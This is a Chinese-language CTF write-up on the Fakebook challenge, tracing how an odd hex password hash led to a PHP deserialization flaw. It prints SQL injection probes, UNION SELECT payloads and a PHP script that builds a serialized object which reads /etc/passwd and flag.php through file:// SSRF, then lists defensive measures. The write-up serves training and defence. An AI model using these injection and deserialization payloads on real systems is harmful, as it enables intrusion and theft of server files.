CTF解题复盘从异常密码哈希到反序列化漏洞的深度挖掘在网络安全竞赛中最迷人的时刻往往不是按部就班地完成预设挑战而是发现那些隐藏在常规漏洞背后的意外惊喜。本文将分享我在分析Fakebook平台时如何从一个看似普通的SQL注入点出发通过捕捉异常信号最终挖掘出隐藏的反序列化漏洞的全过程。1. 异常信号的发现与初步分析一切始于对Fakebook用户表的一次常规SQL注入测试。按照标准流程我首先确认了注入点的存在?no1 AND 11-- # 正常返回 ?no1 AND 12-- # 无返回确认注入存在通过ORDER BY确定列数为4后使用联合查询获取数据?no-1 UNION SELECT 1,2,3,4--当尝试提取passwd字段内容时出现了意料之外的结果4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a这个密码立即引起了我的警觉因为它具有几个异常特征长度远超常见哈希算法输出SHA-256为64字符这个有128字符字符集完全由十六进制字符组成0-9,a-f没有明显的分隔符或标识符常见哈希算法长度对比表算法输出长度(字符)示例MD532098f6bcd4621d373cade4e832627b4f6SHA-140a94a8fe5ccb19ba61c4c0873d391e987982fbbd3SHA-256649f86d081884c7d659a2feaa0c55ad015a3bf4f1b2b0b822cd15d6c15b0f00a08SHA-512128ee26b0dd4af7e749aa1a8ee3c10ae9923f618980772e473f8819a5d4940e0db27ac185f8a0e1d5f84f88bc887fd67b143732c304cc5fa9ad8e6f57f50028a8ff2. 从异常数据到源码审计面对这个异常数据我首先考虑了几种可能性多重哈希可能是多次应用哈希算法的结果组合数据多个字段拼接而成序列化数据某种序列化格式的编码通过进一步查询data字段获得了更长的字符串O:8:UserInfo:3:{s:4:name;s:5:admin;s:3:age;i:18;s:4:blog;s:13:www.admin.com;}这明显是PHP的序列化数据格式。结合两个字段的特征可以推断passwd字段存储的是序列化数据的十六进制表示data字段存储的是原始序列化字符串序列化数据关键特征识别以O:开头表示对象8:UserInfo表示类名长度为8类名为UserInfo3表示对象有3个属性后续是属性名和值的键值对此时我需要获取源代码来确认反序列化的具体实现。通过目录扫描发现robots.txt进而获取到关键源码class UserInfo { public $name ; public $age 0; public $blog ; public function __construct($name, $age, $blog) { $this-name $name; $this-age (int)$age; $this-blog $blog; } function get($url) { $ch curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output curl_exec($ch); $httpCode curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this-get($this-blog); } public function isValidBlog () { $blog $this-blog; return preg_match(/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]\.)[a-zA-Z]{2,6}(\:[0-9])?(\/\S*)?$/i, $blog); } }3. 反序列化漏洞的利用链构建分析源码后发现存在以下关键点反序列化入口从数据库读取的data字段会被反序列化危险方法getBlogContents()方法会调用get()方法访问blog属性指定的URLSSRF潜在风险blog属性可以控制为任意协议如file://漏洞利用步骤构造恶意UserInfo对象将blog设置为file://协议路径序列化该对象通过SQL注入将序列化字符串插入data字段触发反序列化后自动调用getBlogContents()构造Payload的PHP代码?php class UserInfo { public $name exploit; public $age 1; public $blog file:///etc/passwd; } $payload serialize(new UserInfo()); echo urlencode($payload); ?生成的序列化字符串O:8:UserInfo:3:{s:4:name;s:7:exploit;s:3:age;i:1;s:4:blog;s:17:file:///etc/passwd;}通过SQL注入插入Payload?no-1 UNION SELECT 1,2,3,O:8:UserInfo:3:{s:4:name;s:7:exploit;s:3:age;i:1;s:4:blog;s:17:file:///etc/passwd;}--4. 漏洞利用的进阶技巧与防御思考成功读取/etc/passwd后下一步是获取flag。通常CTF中flag存放在/flag或/var/www/html/flag.php等位置。最终构造读取flag的Payload?no-1 UNION SELECT 1,2,3,O:8:UserInfo:3:{s:4:name;s:7:exploit;s:3:age;i:1;s:4:blog;s:29:file:///var/www/html/flag.php;}--防御此类漏洞的关键措施输入验证对反序列化的数据源进行严格校验使用白名单限制反序列化的类安全编码避免在反序列化对象中自动调用危险方法对__wakeup()和__destruct()等魔术方法特别小心日志监控记录异常的反序列化操作监控异常的协议使用如file://漏洞利用中的实用技巧当遇到异常数据时尝试不同解码方式hex、base64等注意观察数据中的模式匹配如O:开头的PHP序列化数据结合多种漏洞类型如SQL注入反序列化往往能突破单一漏洞的限制